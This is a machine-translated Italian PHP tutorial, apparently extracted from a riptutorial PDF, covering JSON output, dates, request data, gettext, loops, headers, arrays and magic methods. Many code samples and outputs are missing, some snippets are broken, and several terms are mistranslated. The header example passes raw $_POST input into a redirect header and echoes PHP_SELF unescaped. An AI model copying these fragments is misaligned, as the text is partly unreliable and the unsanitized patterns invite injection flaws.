json_encode($User);
Tornerà:
Ciò riduce la quantità di dati restituiti da un endpoint RESTful e consente di escludere le proprietà
dell'oggetto da una rappresentazione json.
https://riptutorial.com/it/home 279
Per evitare l'uso di JsonSerializable, è anche possibile utilizzare proprietà private o protette per
nascondere le informazioni sulla classe json_encode() di json_encode() . La classe quindi non ha
bisogno di implementare \ JsonSerializable.
<?php
class User {
// private properties only within this class
private $id;
private $date_created;
private $date_edit;
var_dump(json_encode($theUser));
Produzione:
string(44) "{"name":null,"surname":null,"username":null}"
<?php
$result = array('menu1' => 'home', 'menu2' => 'code php', 'menu3' => 'about');
L'intestazione è lì così la tua app può rilevare quali dati sono stati restituiti e come dovrebbe
gestirli.
Nota: l'intestazione del contenuto è solo informazioni sul tipo di dati restituiti.
https://riptutorial.com/it/home 280
header("Content-Type: application/json;charset=utf-8");
Esempio jQuery:
$.ajax({
url:'url_your_page_php_that_return_json'
}).done(function(data){
console.table('json ',data);
console.log('Menu1 : ', data.menu1);
});
https://riptutorial.com/it/home 281
Capitolo 55: Lavorare con le date e il tempo
Sintassi
• stringa data (stringa $ formato [, int $ timestamp = time ()]))
• int strtotime (stringa $ time [, int $ now])
Examples
Analizza le descrizioni della data inglese in un formato data
Usando la funzione strtotime() combinata con date() puoi analizzare diverse descrizioni di testo
inglese in date:
Le basi
Il modo più semplice per convertire un formato data in un altro è usare strtotime() con date() .
strtotime() convertirà la data in un timestamp Unix . Quindi Unix Timestamp può essere passato
alla date() per convertirlo nel nuovo formato.
$timestamp = strtotime('2008-07-01T22:35:17.02');
$new_date_format = date('Y-m-d H:i:s', $timestamp);
O come one-liner:
https://riptutorial.com/it/home 282
Tieni presente che strtotime() richiede che la data sia in un formato valido . Se non si fornisce un
formato valido, verrà restituito false strtotime() restituirà false date che faranno sì che la data sia
1969-12-31.
Utilizzo di DateTime()
A partire da PHP 5.2, PHP ha offerto la classe DateTime() che ci offre strumenti più potenti per
lavorare con le date (e l'ora). Possiamo riscrivere il codice precedente utilizzando DateTime() in
questo modo:
date() prende un timestamp Unix come secondo parametro e restituisce una data formattata per
te:
Se il timestamp che hai è in millisecondi (può terminare in 000 e / o il timestamp è lungo tredici
caratteri) dovrai convertirlo in secondi prima di poterlo convertire in un altro formato. Ci sono due
modi per farlo:
Il taglio delle ultime tre cifre può essere raggiunto in diversi modi, ma l'uso di substr() è il più
semplice:
Puoi anche convertire il timestamp in secondi dividendo per 1000. Poiché il timestamp è troppo
grande per i sistemi a 32 bit per fare matematica su dovrai usare la libreria BCMath per fare le
matematiche come stringhe:
Per ottenere un timestamp Unix puoi usare strtotime() che restituisce un timestamp Unix:
$timestamp = strtotime('1973-04-18');
https://riptutorial.com/it/home 283
Con DateTime () puoi usare DateTime::getTimestamp()
Sfortunatamente non tutte le date con le quali uno sviluppatore deve lavorare sono in un formato
standard. Fortunatamente PHP 5.3 ci ha fornito una soluzione per questo.
DateTime::createFromFormat() ci consente di indicare a PHP in che formato è inserita una stringa di
data in modo che possa essere analizzata correttamente in un oggetto DateTime per ulteriori
manipolazioni.
In PHP 5.4 abbiamo acquisito la capacità di fare l'accesso ai membri della classe in istanza, che ci
ha permesso di trasformare il nostro codice DateTime() in un unico liner:
Possiamo utilizzare le costanti predefinite per il formato date() in date() invece delle convenzionali
stringhe di formato data da PHP 5.1.0.
https://riptutorial.com/it/home 284
DATE_RFC1036 - RFC 1036 (Ven, 22 Jul 16 14:50:01 +0000)
Esempi di utilizzo
echo date(DATE_RFC822);
echo date(DATE_ATOM,mktime(0,0,0,8,15,1947));
Un esempio:
<?php
// Create a date time object, which has the value of ~ two years ago
$twoYearsAgo = new DateTime("2014-01-18 20:05:56");
// Create a date time object, which has the value of ~ now
$now = new DateTime("2016-07-21 02:55:07");
// Total Days Diff, that is the number of days between the two dates
$totalDaysDiff = $diff->days;
Inoltre, confrontare due date è molto più semplice, basta usare gli operatori di confronto , come:
https://riptutorial.com/it/home 285
<?php
// Create a date time object, which has the value of ~ two years ago
$twoYearsAgo = new DateTime("2014-01-18 20:05:56");
// Create a date time object, which has the value of ~ now
$now = new DateTime("2016-07-21 02:55:07");
var_dump($now > $twoYearsAgo); // prints bool(true)
var_dump($twoYearsAgo > $now); // prints bool(false)
var_dump($twoYearsAgo <= $twoYearsAgo); // prints bool(true)
var_dump($now == $now); // prints bool(true)
https://riptutorial.com/it/home 286
Capitolo 56: le righe interessate da php
mysqli restituiscono 0 quando dovrebbe
restituire un intero positivo
introduzione
Questo script è progettato per gestire i dispositivi di reporting (IoT), quando un dispositivo non è
autorizzato in precedenza (nella tabella dei dispositivi nel database), aggiungo il nuovo dispositivo
a una tabella new_devices. Eseguo una query di aggiornamento e se affected_rows restituisce
<1, inserisco.
Quando ho un nuovo rapporto dispositivo, la prima volta che viene eseguito $ stmt->
affected_rows restituisce 0, la comunicazione successiva restituisce 1, quindi 1, 0, 2, 2, 0, 3, 3, 3,
3, 3, 3 , 0, 4, 0, 0, 6, 6, 6, ecc
Examples
PHP $ stmt-> affected_rows restituisce 0 in modo intermittente quando
dovrebbe restituire un intero positivo
<?php
// if device exists, update timestamp
$stmt = $mysqli->prepare("UPDATE new_devices SET nd_timestamp=? WHERE nd_deviceid=?");
$stmt->bind_param('ss', $now, $device);
$stmt->execute();
//echo "Affected Rows: ".$stmt->affected_rows; // This line is where I am checking the
status of the update query.
Leggi le righe interessate da php mysqli restituiscono 0 quando dovrebbe restituire un intero
positivo online: https://riptutorial.com/it/php/topic/10705/le-righe-interessate-da-php-mysqli-
restituiscono-0-quando-dovrebbe-restituire-un-intero-positivo
https://riptutorial.com/it/home 287
Capitolo 57: Lettura dei dati di richiesta
Osservazioni
Le richieste POST, d' altro canto, sono pensate per inviare dati al server solo una volta (moduli di
contatto, moduli di accesso ...). A differenza di GET, che accetta solo ASCII, le richieste POST
consentono anche dati binari, inclusi i caricamenti di file .
Puoi trovare una spiegazione più dettagliata delle loro differenze qui .
Il recupero dei dati dai superglobali $ _GET e $ _POST senza alcuna convalida è considerato una
cattiva pratica e apre metodi per consentire agli utenti di accedere o compromettere i dati
attraverso codice e iniezioni SQL . I dati non validi dovrebbero essere controllati e respinti in modo
da prevenire tali attacchi.
I dati della richiesta devono essere salvati in base a come viene utilizzato nel codice, come
indicato qui e qui . In questa risposta è possibile trovare alcune diverse funzioni di escape per casi
di utilizzo di dati comuni.
Examples
Gestione degli errori di caricamento dei file
https://riptutorial.com/it/home 288
Un modo semplice per verificare gli errori è il seguente:
<?php
$fileError = $_FILES["FILE_NAME"]["error"]; // where FILE_NAME is the name attribute of the
file input in your form
switch($fileError) {
case UPLOAD_ERR_INI_SIZE:
// Exceeds max size in php.ini
break;
case UPLOAD_ERR_PARTIAL:
// Exceeds max size in html form
break;
case UPLOAD_ERR_NO_FILE:
// No file was uploaded
break;
case UPLOAD_ERR_NO_TMP_DIR:
// No /tmp dir to write to
break;
case UPLOAD_ERR_CANT_WRITE:
// Error writing to disk
break;
default:
// No error was faced! Phew!
break;
}
I dati di una richiesta POST vengono memorizzati nel superglobale $_POST sotto forma di un array
associativo.
Si noti che l'accesso a un elemento dell'array inesistente genera una notifica, quindi l'esistenza
dovrebbe sempre essere verificata con le funzioni isset() o empty() o l'operatore di coalesce null.
Esempio:
7.0
I dati di una richiesta GET sono memorizzati nel superglobale $_GET sotto forma di un array
associativo.
Si noti che l'accesso a un elemento dell'array inesistente genera una notifica, quindi l'esistenza
https://riptutorial.com/it/home 289
dovrebbe sempre essere verificata con le funzioni isset() o empty() o l'operatore di coalesce null.
7.0
Di solito i dati inviati in una richiesta POST sono coppie chiave / valore strutturate con un tipo di
application/x-www-form-urlencoded MIME application/x-www-form-urlencoded . Tuttavia, molte
applicazioni come i servizi Web richiedono invece l'invio di dati non elaborati, spesso in formato
XML o JSON. Questi dati possono essere letti utilizzando uno dei due metodi.
php://input è uno stream che fornisce l'accesso al corpo della richiesta grezza.
$rawdata = file_get_contents("php://input");
// Let's say we got JSON
$decoded = json_decode($rawdata);
5.6
$HTTP_RAW_POST_DATA è una variabile globale che contiene i dati POST non $HTTP_RAW_POST_DATA . È
disponibile solo se la direttiva always_populate_raw_post_data in php.ini è abilitata.
$rawdata = $HTTP_RAW_POST_DATA;
// Or maybe we get XML
$decoded = simplexml_load_string($rawdata);
Questa variabile è stata deprecata dalla versione 5.6 di PHP ed è stata rimossa in PHP 7.0.
Notare che nessuno di questi metodi è disponibile quando il tipo di contenuto è impostato su
multipart/form-data , che viene utilizzato per i caricamenti di file.
PHP fornisce supporto per il metodo PUT HTTP utilizzato da alcuni client per memorizzare file su
un server. Le richieste PUT sono molto più semplici di un caricamento di file usando le richieste
POST e assomigliano a questo:
https://riptutorial.com/it/home 290
Nel tuo codice PHP dovresti fare qualcosa del genere:
<?php
/* PUT data comes in on the stdin stream */
$putdata = fopen("php://input", "r");
Anche qui puoi leggere interessanti domande / risposte SO sulla ricezione di file tramite HTTP
PUT.
Di solito, un elemento di modulo HTML inviato a PHP produce un singolo valore. Per esempio:
<pre>
<?php print_r($_POST);?>
</pre>
<form method="post">
<input type="hidden" name="foo" value="bar"/>
<button type="submit">Submit</button>
</form>
Array
(
[foo] => bar
)
Tuttavia, potrebbero esserci casi in cui si desidera passare una matrice di valori. Questo può
essere fatto aggiungendo un suffisso simile a PHP al nome degli elementi HTML:
<pre>
<?php print_r($_POST);?>
</pre>
<form method="post">
<input type="hidden" name="foo[]" value="bar"/>
<input type="hidden" name="foo[]" value="baz"/>
<button type="submit">Submit</button>
</form>
https://riptutorial.com/it/home 291
Array
(
[foo] => Array
(
[0] => bar
[1] => baz
)
<pre>
<?php print_r($_POST);?>
</pre>
<form method="post">
<input type="hidden" name="foo[42]" value="bar"/>
<input type="hidden" name="foo[foo]" value="baz"/>
<button type="submit">Submit</button>
</form>
Array
(
[foo] => Array
(
[42] => bar
[foo] => baz
)
Questa tecnica può essere utilizzata per evitare loop di post-elaborazione $_POST , rendendo il
codice più snello e più conciso.
https://riptutorial.com/it/home 292
Capitolo 58: Localizzazione
Sintassi
• string gettext (string $message)
Examples
Localizzare le stringhe con gettext ()
GNU gettext è un'estensione all'interno di PHP che deve essere inclusa nel php.ini :
extension=php_gettext.dll #Windows
extension=gettext.so #Linux
Le funzioni gettext implementano un'API NLS (Native Language Support) che può essere
utilizzata per internazionalizzare le tue applicazioni PHP.
<?php
// Set language to French
putenv('LC_ALL= fr_FR');
setlocale(LC_ALL, 'fr_FR');
myPHPApp.po
#: /Hello_world.php:56
msgid "Hello"
msgstr "Bonjour"
#: /Hello_world.php:242
msgid "How are you?"
msgstr "Comment allez-vous?"
gettext () carica un dato file .po post-conforme, un .mo. che mappa le tue stringhe da tradurre
come sopra.
Dopo questo piccolo bit di codice di installazione, le traduzioni verranno ora cercate nel seguente
file:
https://riptutorial.com/it/home 293
• ./locale/fr_FR/LC_MESSAGES/myPHPApp.mo .
Ogni volta che chiami gettext('some string') , se 'some string' è stata tradotta nel file .mo , la
traduzione verrà restituita. In caso contrario, 'some string' verrà restituita non tradotta.
https://riptutorial.com/it/home 294
Capitolo 59: Loops
introduzione
I loop sono un aspetto fondamentale della programmazione. Consentono ai programmatori di
creare codice che si ripete per un dato numero di ripetizioni o iterazioni . Il numero di iterazioni
può essere esplicito (6 iterazioni, per esempio), o continuare fino a quando non viene soddisfatta
una condizione ('finché Hell non si blocca').
Questo argomento copre i diversi tipi di loop, le relative dichiarazioni di controllo associate e le
loro potenziali applicazioni in PHP.
Sintassi
• per (contatore init, contatore test, contatore incrementale) {/ * codice * /}
• foreach (array come valore) {/ * code * /}
• foreach (array come chiave => valore) {/ * codice * /}
• while (condizione) {/ * codice * /}
• do {/ * code * /} while (condizione);
• anyloop {continua; }
• anyloop {[ anyloop ...] {continue int; }}
• anyloop {break; }
• anyloop {[ anyloop ...] {break int; }}
Osservazioni
È spesso utile eseguire più volte lo stesso o simile blocco di codice. Anziché eseguire il copia-
incolla, i cicli di istruzioni quasi uguali forniscono un meccanismo per eseguire codice un numero
specifico di volte e camminare su strutture dati. PHP supporta i seguenti quattro tipi di loop:
• for
• while
• do..while
• foreach
Examples
per
L'istruzione for viene utilizzata quando sai quante volte vuoi eseguire una
dichiarazione o un blocco di istruzioni.
L'inizializzatore viene utilizzato per impostare il valore iniziale per il contatore del numero di
https://riptutorial.com/it/home 295
iterazioni del ciclo. Una variabile può essere dichiarata qui per questo scopo ed è tradizionale
chiamarla $i .
# Example 2
for ($i = 0; ; $i++) {
if ($i > 9) {
break;
}
echo $i, ',';
}
# Example 3
$i = 0;
for (; ; ) {
if ($i > 9) {
break;
}
echo $i, ',';
$i++;
}
# Example 4
for ($i = 0, $j = 0; $i <= 9; $j += $i, print $i. ',', $i++);
L'output atteso è:
0,1,2,3,4,5,6,7,8,9,
per ciascuno
Per ogni iterazione il valore dell'elemento corrente dell'array viene assegnato alla variabile $value
e il puntatore dell'array viene spostato di uno e nell'iterazione successiva verrà elaborato
l'elemento successivo.
L'output atteso è:
https://riptutorial.com/it/home 296
Puoi anche accedere alla chiave / indice di un valore usando foreach:
Di default $value è una copia del valore in $list , quindi le modifiche apportate all'interno del ciclo
non si rifletteranno in seguito in $list .
Per modificare l'array all'interno del ciclo foreach , utilizzare l'operatore & per assegnare $value per
riferimento. È importante unset la variabile successivamente, in modo che il riutilizzo del $value
altrove non sovrascriva la matrice.
È inoltre possibile modificare gli elementi dell'array all'interno del ciclo foreach facendo riferimento
alla chiave dell'array dell'elemento corrente.
rompere
$i = 5;
while(true) {
echo 120/$i.PHP_EOL;
$i -= 1;
if ($i == 0) {
break;
}
}
https://riptutorial.com/it/home 297
24
30
40
60
120
ma non eseguirà il caso in cui $i è 0, il che comporterebbe un errore fatale dovuto alla divisione
per 0.
L'istruzione break può anche essere utilizzata per uscire da diversi livelli di loop. Tale
comportamento è molto utile quando si eseguono cicli annidati. Ad esempio, per copiare un array
di stringhe in una stringa di output, rimuovendo tutti i simboli # , fino a quando la stringa di output
non è esattamente di 160 caratteri
$output = "";
$inputs = array(
"#soblessed #throwbackthursday",
"happy tuesday",
"#nofilter",
/* more inputs */
);
foreach($inputs as $input) {
for($i = 0; $i < strlen($input); $i += 1) {
if ($input[$i] == '#') continue;
$output .= $input[$i];
if (strlen($output) == 160) break 2;
}
$output .= ' ';
}
Il comando break 2 termina immediatamente l'esecuzione di entrambi gli anelli interno ed esterno.
fare mentre
L'istruzione do...while eseguirà un blocco di codice almeno una volta, quindi ripeterà il
ciclo fintanto che una condizione è vera.
$i = 0;
do {
$i++;
} while($i < 25);
L'output atteso è:
Continua
https://riptutorial.com/it/home 298
La parola chiave continue interrompe l'iterazione corrente di un ciclo ma non termina il
ciclo.
Proprio come l'istruzione break , l'istruzione continue si trova all'interno del corpo del loop. Quando
viene eseguito, l'istruzione continue fa in modo che l'esecuzione passi immediatamente al ciclo
condizionale.
Nel seguente esempio, il ciclo stampa un messaggio in base ai valori di un array, ma salta un
valore specificato.
L'output atteso è:
L'istruzione continue può anche essere utilizzata per continuare immediatamente l'esecuzione a
un livello esterno di un ciclo specificando il numero di livelli di loop da saltare. Ad esempio,
considera dati come
Mela Rosso 1
Banana Giallo 7
ciliegia Rosso 2
Uva verde 4
$data = [
[ "Fruit" => "Apple", "Color" => "Red", "Cost" => 1 ],
[ "Fruit" => "Banana", "Color" => "Yellow", "Cost" => 7 ],
[ "Fruit" => "Cherry", "Color" => "Red", "Cost" => 2 ],
[ "Fruit" => "Grape", "Color" => "Green", "Cost" => 4 ]
];
foreach($data as $fruit) {
foreach($fruit as $key => $value) {
if ($key == "Cost" && $value >= 5) {
continue 2;
}
https://riptutorial.com/it/home 299
/* make a pie */
}
}
mentre
Se l'espressione di test è vera, verrà eseguito il blocco di codice. Dopo che il codice è stato
eseguito, l'espressione di test verrà nuovamente valutata e il ciclo continuerà fino a quando
l'espressione di test non risultasse falsa.
Il seguente esempio esegue iterazioni fino a quando la somma raggiunge 100 prima di terminare.
$i = true;
$sum = 0;
while ($i) {
if ($sum === 100) {
$i = false;
} else {
$sum += 10;
}
}
echo 'The sum is: ', $sum;
L'output atteso è:
https://riptutorial.com/it/home 300
Capitolo 60: Manipolazione delle intestazioni
Examples
Impostazione di base di un'intestazione
Ecco un'impostazione di base dell'intestazione per passare a una nuova pagina quando si fa clic
su un pulsante.
if(isset($_REQUEST['action']))
{
switch($_REQUEST['action'])
{ //Setting the Header based on which button is clicked
case 'getState':
header("Location: http://NewPageForState.com/getState.php?search=" .
$_POST['search']);
break;
case 'getProject':
header("Location: http://NewPageForProject.com/getProject.php?search=" .
$_POST['search']);
break;
}
else
{
GetSearchTerm(!NULL);
}
//Forms to enter a State or Project and click search
function GetSearchTerm($success)
{
if (is_null($success))
{
echo "<h4>You must enter a state or project number</h4>";
}
echo "<center><strong>Enter the State to search for</strong></center><p></p>";
//Using the $_SERVER['PHP_SELF'] keeps us on this page till the switch above determines
where to go
echo "<form action='" . $_SERVER['PHP_SELF'] . "' enctype='multipart/form-data'
method='POST'>
<input type='hidden' name='action' value='getState'>
<center>State: <input type='text' name='search' size='10'></center><p></p>
<center><input type='submit' name='submit' value='Search State'></center>
</form>";
GetSearchTermProject($success);
}
function GetSearchTermProject($success)
{
echo "<center><br><strong>Enter the Project to search for</strong></center><p></p>";
echo "<form action='" . $_SERVER['PHP_SELF'] . "' enctype='multipart/form-data'
method='POST'>
<input type='hidden' name='action' value='getProject'>
<center>Project Number: <input type='text' name='search'
size='10'></center><p></p>
<center><input type='submit' name='submit' value='Search Project'></center>
</form>";
https://riptutorial.com/it/home 301
}
?>
https://riptutorial.com/it/home 302
Capitolo 61: Manipolazione di una matrice
Examples
Rimozione di elementi da un array
Questo rimuoverà le mele dall'elenco, ma noterai che unset non cambia gli indici degli elementi
rimanenti. Quindi $fruit ora contiene gli indici 0 e 2 .
print_r($fruit);
/*
Array
(
[0] => banana
[one] => apple
[1] => peaches
)
*/
unset($fruit['one']);
Ora $ frutto è
print_r($fruit);
/*
Array
(
[0] => banana
[1] => peaches
)
*/
Nota che
unset($fruit);
disattiva la variabile e quindi rimuove l'intero array, il che significa che nessuno dei suoi elementi è
più accessibile.
https://riptutorial.com/it/home 303
Rimozione di elementi terminali
array_shift () - Sposta un elemento dall'inizio della matrice.
Esempio:
Produzione:
Array
(
[0] => apples
[1] => peaches
)
Esempio:
Produzione:
Array
(
[0] => bananas
[1] => apples
)
Per filtrare i valori da una matrice e ottenere un nuovo array contenente tutti i valori che
soddisfano la condizione del filtro, è possibile utilizzare la funzione array_filter .
$my_array = [1,0,2,null,3,'',4,[],5,6,7,8];
$non_empties = array_filter($my_array); // $non_empties will contain [1,2,3,4,5,6,7,8];
https://riptutorial.com/it/home 304
Filtro per callback
Questa volta definiamo la nostra regola di filtraggio. Supponiamo di voler ottenere solo numeri
pari:
$my_array = [1,2,3,4,5,6,7,8];
La funzione array_filter riceve l'array da filtrare come primo argomento e un callback che
definisce il predicato del filtro come secondo.
5.6
$numbers = [16,3,5,8,1,4,6];
<?php
$my_array = [1,0,2,null,3,'',4,[],5,6,7,8];
$filtered = array_filter($my_array);
/*
https://riptutorial.com/it/home 305
Output:
1
Notice: Undefined offset: 1
2
Notice: Undefined offset: 3
3
Notice: Undefined offset: 5
4
Notice: Undefined offset: 7
*/
Ciò accade perché i valori che erano sulle posizioni 1 (c'era 0 ), 3 ( null ), 5 (stringa vuota '' ) e 7
(array vuoto [] ) sono stati rimossi insieme alle corrispondenti chiavi di indice.
$my_array = [1,0,2,null,3,'',4,[],5,6,7,8];
$filtered = array_filter($my_array);
$iterable = array_values($filtered);
// No warnings!
A volte si desidera aggiungere un elemento all'inizio di una matrice senza modificare alcuno
degli elementi correnti ( ordine ) all'interno dell'array . Ogni volta che questo è il caso, puoi
usare array_unshift() .
array_unshift() antepone gli elementi passati alla parte anteriore dell'array. Si noti che
l'elenco di elementi viene preposto nel suo complesso, in modo che gli elementi
anteposti rimangano nello stesso ordine. Tutti i tasti di matrice numerica saranno
modificati per iniziare a contare da zero mentre i tasti letterali non saranno toccati.
Tratto dalla documentazione di PHP per array_unshift() .
array_unshift($myArray, 4);
Questo ora aggiungerà 4 come primo elemento dell'array. Puoi verificare questo:
print_r($myArray);
https://riptutorial.com/it/home 306
Ciò restituisce una matrice nel seguente ordine: 4, 1, 2, 3 .
Poiché array_unshift forza l'array a reimpostare le coppie valore-chiave come nuovo elemento,
lascia che le seguenti voci abbiano le chiavi n+1 , è più intelligente creare un nuovo array e
aggiungere l'array esistente all'array appena creato.
Esempio:
Output ($ unitedArray):
Array ( [0] => oranges [1] => apples [2] => bananas [3] => pears )
Eaxmple / Demo
Quando si desidera consentire solo determinati tasti negli array, in particolare quando l'array
proviene dai parametri di richiesta, è possibile utilizzare array_intersect_key insieme a array_flip .
$parameters = ['foo' => 'bar', 'bar' => 'baz', 'boo' => 'bam'];
$allowedKeys = ['foo', 'bar'];
$filteredParameters = array_intersect_key($parameters, array_flip($allowedKeys));
Dal momento che PHP 5.6 è possibile utilizzare array_filter per questa attività, passando il flag
ARRAY_FILTER_USE_KEY come terzo parametro:
L'uso di array_filter offre la flessibilità aggiuntiva di eseguire un test arbitrario contro la chiave, ad
esempio $allowedKeys potrebbe contenere modelli regex invece di stringhe semplici. Inoltre,
afferma esplicitamente l'intenzione del codice rispetto a array_intersect_key() combinato con
https://riptutorial.com/it/home 307
array_flip() .
ordinare()
Ordina una matrice in ordine crescente per valore.
risultati in
Array
(
[0] => Apfel
[1] => Banane
[2] => Orange
[3] => Zitrone
)
rsort ()
Ordina una matrice in ordine decrescente per valore.
risultati in
Array
(
[0] => Zitrone
[1] => Orange
[2] => Banane
[3] => Apfel
)
asort ()
Ordina una matrice in ordine crescente per valore e conserva le indecie.
https://riptutorial.com/it/home 308
$fruits = [1 => 'lemon', 2 => 'orange', 3 => 'banana', 4 => 'apple'];
asort($fruits);
print_r($fruits);
risultati in
Array
(
[4] => apple
[3] => banana
[1] => lemon
[2] => orange
)
arsort ()
Ordina una matrice in ordine decrescente per valore e preserva le indecie.
risultati in
Array
(
[2] => orange
[1] => lemon
[3] => banana
[4] => apple
)
ksort ()
Ordina una matrice in ordine crescente per chiave
risultati in
Array
(
[a] => orange
[b] => banana
[c] => apple
[d] => lemon
)
https://riptutorial.com/it/home 309
krsort ()
Ordina una matrice in ordine decrescente per chiave.
risultati in
Array
(
[d] => lemon
[c] => apple
[b] => banana
[a] => orange
)
natsort ()
Ordina un array in un modo che un essere umano farebbe (ordine naturale).
risultati in
Array
(
[4] => File2.stack
[0] => File8.stack
[2] => file7.stack
[3] => file13.stack
[1] => file77.stack
)
natcasesort ()
Ordina un array in un modo che un essere umano farebbe (ordine naturale), ma intensivo per il
caso
risultati in
https://riptutorial.com/it/home 310
Array
(
[4] => File2.stack
[2] => file7.stack
[0] => File8.stack
[3] => file13.stack
[1] => file77.stack
)
Shuffle ()
Mescola un array (ordinato in ordine casuale).
Come scritto nella descrizione è casuale, quindi qui solo un esempio in ciò che può risultare
Array
(
[0] => cc
[1] => bb
[2] => aa
)
usort ()
Ordina una matrice con una funzione di confronto definita dall'utente.
risultati in
Array
(
[0] => 1
[1] => 2
[2] => 3
[3] => 5
[4] => 6
https://riptutorial.com/it/home 311
)
uasort ()
Ordina una matrice con una funzione di confronto definita dall'utente e conserva le chiavi.
$array = ['a' => 1, 'b' => -3, 'c' => 5, 'd' => 3, 'e' => -5];
uasort($array, 'compare');
print_r($array);
risultati in
Array
(
[e] => -5
[b] => -3
[a] => 1
[d] => 3
[c] => 5
)
uksort ()
Ordina un array per chiavi con una funzione di confronto definita dall'utente.
$array = ['ee' => 1, 'g' => -3, '4' => 5, 'k' => 3, 'oo' => -5];
uksort($array, 'compare');
print_r($array);
risultati in
Array
(
[ee] => 1
https://riptutorial.com/it/home 312
[g] => -3
[k] => 3
[oo] => -5
[4] => 5
)
$colors = array(
'one' => 'red',
'two' => 'blue',
'three' => 'yellow',
);
array(
'red' => 'one',
'blue' => 'two',
'yellow' => 'three'
)
$a1 = array("red","green");
$a2 = array("blue","yellow");
print_r(array_merge($a1,$a2));
/*
Array ( [0] => red [1] => green [2] => blue [3] => yellow )
*/
Array associativo:
$a1=array("a"=>"red","b"=>"green");
$a2=array("c"=>"blue","b"=>"yellow");
print_r(array_merge($a1,$a2));
/*
Array ( [a] => red [b] => yellow [c] => blue )
*/
1. Unisce gli elementi di uno o più array insieme in modo che i valori di uno vengano aggiunti
alla fine del precedente. Restituisce la matrice risultante.
2. Se gli array di input hanno le stesse chiavi stringa, il valore successivo per quella chiave
sovrascriverà quello precedente. Se, tuttavia, gli array contengono chiavi numeriche, il
valore successivo non sovrascriverà il valore originale, ma verrà aggiunto.
3. I valori nell'array di input con i tasti numerici verranno rinumerati con le chiavi incrementali a
partire da zero nell'array dei risultati.
https://riptutorial.com/it/home 313
Capitolo 62: Metodi magici
Examples
__get (), __set (), __isset () e __unset ()
Ogni volta che si tenta di recuperare un determinato campo da una classe in questo modo:
PHP invoca il metodo magico __get($name) , con $name uguale a "height" in questo caso. Scrivere
in un campo classe in questo modo:
$animal->height = 10;
__set($name, $value) metodo magico __set($name, $value) , con $name uguale a "height" e $value
uguale a 10 .
PHP ha anche due funzioni built-in isset() , che controllano se esiste una variabile e unset() , che
distrugge una variabile. Verifica se un campo oggetti è impostato in questo modo:
isset($animal->height);
unset($animal->height);
Normalmente, quando non si definiscono questi metodi sulla classe, PHP recupera
semplicemente il campo così come è memorizzato nella classe. Tuttavia, puoi sovrascrivere
questi metodi per creare classi che possano contenere dati come una matrice, ma che siano
utilizzabili come un oggetto:
class Example {
private $data = [];
https://riptutorial.com/it/home 314
return $this->data[$name];
}
__construct () e __destruct ()
__construct() è il metodo magico più comune in PHP, perché viene utilizzato per impostare una
classe quando viene inizializzata. L'opposto del metodo __construct() è il metodo __destruct() .
Questo metodo viene chiamato quando non ci sono più riferimenti a un oggetto che hai creato o
quando ne imponi la sua eliminazione. La garbage collection di PHP pulirà l'oggetto chiamando
prima il suo distruttore e quindi rimuovendolo dalla memoria.
class Shape {
public function __construct() {
echo "Shape created!\n";
}
}
https://riptutorial.com/it/home 315
$this->width = $width;
$this->height = $height;
echo "Created {$this->width}x{$this->height} Rectangle\n";
}
function createRectangle() {
// Instantiating an object will call the constructor with the specified arguments
$rectangle = new Rectangle(20, 50);
createRectangle();
// 'Destroying 20x50 Rectangle' will be printed, because
// the `$rectangle` object was local to the createRectangle function, so
// When the function scope is exited, the object is destroyed and its
// destructor is called.
__accordare()
Ogni volta che un oggetto viene trattato come una stringa, viene chiamato il metodo __toString() .
Questo metodo dovrebbe restituire una rappresentazione stringa della classe.
class User {
public $first_name;
public $last_name;
public $age;
https://riptutorial.com/it/home 316
__invocare()
Questo metodo magico viene chiamato quando l'utente tenta di richiamare l'oggetto come una
funzione. Possibili casi d'uso possono includere alcuni approcci come la programmazione
funzionale o alcuni callback.
class Invokable
{
/**
* This method will be called if object will be executed like a function:
*
* $invokable();
*
* Args will be passed as in regular method call.
*/
public function __invoke($arg, $arg, ...)
{
print_r(func_get_args());
}
}
// Example:
$invokable = new Invokable();
$invokable([1, 2, 3]);
// optputs:
Array
(
[0] => 1
[1] => 2
[2] => 3
)
__call () e __callStatic ()
class Foo
{
/**
* This method will be called when somebody will try to invoke a method in object
* context, which does not exist, like:
*
* $foo->method($arg, $arg1);
*
* First argument will contain the method name(in example above it will be "method"),
* and the second will contain the values of $arg and $arg1 as an array.
*/
public function __call($method, $arguments)
{
// do something with that information here, like overloading
// or something generic.
// For sake of example let's say we're making a generic class,
// that holds some data and allows user to get/set/has via
// getter/setter methods. Also let's assume that there is some
// CaseHelper which helps to convert camelCase into snake_case.
https://riptutorial.com/it/home 317
// Also this method is simplified, so it does not check if there
// is a valid name or
$snakeName = CaseHelper::camelToSnake($method);
// Get get/set/has prefix
$subMethod = substr($snakeName, 0, 3);
switch ($subMethod) {
case "get":
return $this->data[$propertyName];
case "set":
$this->data[$propertyName] = $arguments[0];
break;
case "has":
return isset($this->data[$propertyName]);
default:
throw new BadMethodCallException("Undefined method $method");
}
}
/**
* __callStatic will be called from static content, that is, when calling a nonexistent
* static method:
*
* Foo::buildSomethingCool($arg);
*
* First argument will contain the method name(in example above it will be
"buildSomethingCool"),
* and the second will contain the value $arg in an array.
*
* Note that signature of this method is different(requires static keyword). This method
was not
* available prior PHP 5.3
*/
public static function __callStatic($method, $arguments)
{
// This method can be used when you need something like generic factory
// or something else(to be honest use case for this is not so clear to me).
print_r(func_get_args());
}
}
Esempio:
$instance->setSomeState("foo");
var_dump($instance->hasSomeState()); // bool(true)
var_dump($instance->getSomeState()); // string "foo"
Foo::exampleStaticCall("test");
// outputs:
Array
(
[0] => exampleCallStatic
[1] => test
)
